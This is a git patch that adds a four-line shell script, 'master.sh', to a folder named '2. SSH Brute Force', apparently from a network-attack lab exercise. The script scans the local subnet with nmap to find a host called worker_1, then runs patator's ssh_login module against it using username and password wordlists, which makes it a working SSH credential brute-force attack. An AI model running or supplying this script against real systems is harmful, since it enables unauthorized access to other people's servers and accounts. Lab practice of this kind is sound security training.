From 0f2ff99175fd7eb406720b1e9eb8d6ed7d12c5ec Mon Sep 17 00:00:00 2001 From: AndreasNefeli Date: Sun, 24 Jan 2021 13:40:44 +0000 Subject: [PATCH] Upload files to '2. SSH Brute Force' --- 2. SSH Brute Force/master.sh | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 2. SSH Brute Force/master.sh diff --git a/2. SSH Brute Force/master.sh b/2. SSH Brute Force/master.sh new file mode 100644 index 0000000..fa92c00 --- /dev/null +++ b/2. SSH Brute Force/master.sh @@ -0,0 +1,4 @@ +my_ip=$(ifconfig eth0 | grep 'inet' | cut -d: -f2 | awk '{print $2}') +network=$(echo $my_ip | sed 's/.[0-9]$/.*/') +worker=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') +patator ssh_login host=$worker user=FILE0 password=FILE1 0=usernames.txt 1=passwords.txt -x ignore:mesg='Authentication failed.'